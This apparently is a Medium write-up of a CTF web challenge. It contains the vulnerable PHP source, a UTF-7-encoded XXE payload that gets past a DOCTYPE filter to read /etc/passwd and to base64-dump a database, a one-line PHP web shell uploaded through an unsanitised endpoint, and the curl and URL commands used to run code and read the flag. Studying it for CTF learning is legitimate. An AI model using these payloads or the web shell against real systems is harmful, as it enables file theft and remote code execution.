Season | Luxor Finals CTF
I Hate the people that used ai in the Finals
Season | Luxor Finals CTF

I Hate the people that used ai in the Finals
First lets start analysis lets go starting with src/importConfig.php we have this code
<?php
ini_set('display_errors', 0);
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
die("Invalid request method.");
}
if (!isset($_FILES['xml_file'])) {
die("No file uploaded.");
}
$file = $_FILES['xml_file'];
$filename = basename($file['name']);
if (!preg_match('/\.xml$/i', $filename)) {
die("<h3 style='color:red;'>Only XML files are allowed.</h3>");
}
$xmlContent = file_get_contents($file['tmp_name']);
if (stripos($xmlContent, '<!DOCTYPE') !== false) {
die("<h3 style='color:red;'>DOCTYPE declarations are not allowed.</h3>");
}
libxml_use_internal_errors(true);
$dom = new DOMDocument();
$dom->resolveExternals = true;
$dom->substituteEntities = true;
$dom->loadXML(
$xmlContent,
LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR
);
echo "<!DOCTYPE html>
<html>
<head>
<title>Configuration Imported</title>
<style>
body {
background:#0f172a;
color:#f1f5f9;
font-family:monospace;
padding:40px;
}
pre {
background:#020617;
padding:20px;
border-radius:8px;
border:1px solid #334155;
white-space:pre-wrap;
word-wrap:break-word;
}
a {
color:#06b6d4;
}
</style>
</head>
<body>
<h2>✓ Configuration Import Successful</h2>
<p>Processed XML Output:</p>
<pre>";
echo $dom->saveXML();
echo "</pre>
<br>
<a href='index.php'>← Back</a>
</body>
</html>";
?>
Here is a summary for the code simple the application takes a XML File so we simply need to upload a XML file but there is a small problem there is no upload form so be ready with your curl and lets go to old friend stackoverflow

nice but here is a small problem I faced

You have to specify the file name which is “xml_file” so your curl payload will be like this
curl -X POST -F "xml_file=@/home/enta/canelo.xml" INSTANCE -i
i used -i to get the full response from the request you may hock it to the burp to continue but i will continue with curl
Now lets create the xml file we will upload
i will use this payload in the test.xml file:
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>

Simply as we can see this line
DOCTYPE declarations are not allowed.
So we can we can’t use DOCTYPE in our payload so after some search you find this blog
Read carefully the blog until this section

lets try this payload
<?xml version="1.0" encoding="UTF-7"?>
+ADw-+ACE-DOCTYPE+ACA-data+ACA-+AFs-+AAo-+ACA-+ACA-+ADw-+ACE-ENTITY+ACA-xxe+ACA-SYSTEM+ACA-+ACI-file:///etc/passwd+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-data+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-post+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-title+AD4-+ACY-xxe+ADs-+ADw-/post+AF8-title+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-desc+AD4-xyz+ADw-/post+AF8-desc+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-/post+AD4-+AAo-+ADw-/data+AD4-
curl -X POST -F "xml_file=@/home/canelo/zluxor/test.xml" http://Instance/importConfig.php -i

Nice we dumped the /etc/passwd nice lets read the source
#!/bin/bash
set -e
sqlite3 /var/www/submissions.db "
CREATE TABLE IF NOT EXISTS submissions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
filename TEXT NOT NULL,
filepath TEXT NOT NULL,
uploaded_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
"
chown www-data:www-data /var/www/submissions.db
if [ -n "$FLAG" ]; then
RAND=$(cat /proc/sys/kernel/random/uuid | tr -d '-')
FLAG_FILE="/flag_${RAND}.txt"
echo "$FLAG" > "$FLAG_FILE"
chmod 444 "$FLAG_FILE"
else
echo "WARNING: FLAG env variable is not set" >&2
fi
exec apache2-foreground
in entry_point.sh the flag is created with random uuid at the end so we can’t read it directly so we are stuck at this point but luckly we have another file in src/contact/upload.php
<?php
require_once('./commonFunc.php');
$uploadDir = __DIR__ . "/../uploads/";
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}
if (!isset($_FILES['uploadFile'])) {
http_response_code(400);
exit("No file uploaded.");
}
$file = $_FILES['uploadFile'];
$originalName = basename($file['name']);
$extension = pathinfo($originalName, PATHINFO_EXTENSION);
$uuid = generateUUID();
$newFilename = $uuid . ($extension ? "." . $extension : "");
$targetPath = $uploadDir . $newFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
$db = initDatabase();
$stmt = $db->prepare("INSERT INTO submissions (filename, filepath, uploaded_at) VALUES (:filename, :filepath, :uploaded_at)");
$stmt->execute([
':uploaded_at' => date("Y-m-d H:i:s"),
':filename' => $newFilename,
':filepath' => $targetPath,
]);
} else {
echo "<div class='alert alert-danger'>Upload failed</div>";
}
as you can see the file we upload is created with santization or anything so we can upload our shell simply right? mmm not actually because the file name is generated with uuid at the beginning so read the code carefully you will find that the file name well be added in the sql file but here is a small problem
RUN touch /var/www/submissions.db && \
chown www-data:www-data /var/www/submissions.db /var/www && \
chmod 664 /var/www/submissions.db && \
chmod 775 /var/www
but the problem that submissions.db is considered as a binary we can read it directly but we can dump it is a base64 so now are steps are 1- create php shell file and upload it 2- use our xxe injection to dump the submission.db and get the file name 3- use our shell and read the flag
Now for the php shell i used this code
<?php system($_GET['cmd']); ?>
now we use the same curl command to upload but change the variable name to “uploadFile”
curl -X POST -F "uploadFile=@/home/canelo/zluxor/shell.php" http://Instance/contact/upload.php -i

nice now we need to dump the db containing the file name from
/var/www/submissions.db
but in the source it is treated as a binary so we will use this payload to convert it to base64
php://filter/convert.base64-encode/resource=/var/www/submissions.db
here is the full xml file
<?xml version="1.0" encoding="UTF-7"?>
+ADw-+ACE-DOCTYPE+ACA-data+ACA-+AFs-+AAo-+ACA-+ACA-+ADw-+ACE-ENTITY+ACA-xxe+ACA-SYSTEM+ACA-+ACI-php://filter/convert.base64-encode/resource=/var/www/submissions.db+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-data+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-post+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-title+AD4-+ACY-xxe+ADs-+ADw-/post+AF8-title+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-desc+AD4-xyz+ADw-/post+AF8-desc+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-/post+AD4-+AAo-+ADw-/data+AD4-
now the same curl command of the xml upload w wdyy el file dh you will get a base64 decode it on cyberchef from base64 and scroll until you find the file

the file is 3ccc43af-4e1d-4c48-bf39–88f11c792fd5.php in my case
http://Instance/uploads/3ccc43af-4e1d-4c48-bf39-88f11c792fd5.php?cmd=id

now we got the shell lets get the flag
http://Instance/uploads/3ccc43af-4e1d-4c48-bf39-88f11c792fd5.php?cmd=ls%20/

http://Instance/uploads/3ccc43af-4e1d-4c48-bf39-88f11c792fd5.php?cmd=cat /flag_37cd18fcad47449797617d6caed09876.txt

You got the flag thank for reading
flag :
CyCTF{Canelo_Hates_The_People_That_Used_AI_ya 7armyaa ya cheaters}
These Write-ups are made and will always be made by: not 00xCanelo

메타데이터
- post_id
- 602d1a64da4b
- slug
- season-luxor-finals-ctf-602d1a64da4b
- url
- https://medium.com/@00xCanelo/season-luxor-finals-ctf-602d1a64da4b
- canonical_url
- https://medium.com/@00xCanelo/season-luxor-finals-ctf-602d1a64da4b
- author_url
- https://medium.com/@00xCanelo
- status
- ok
- fetched_at
- 2026-06-23 03:48:11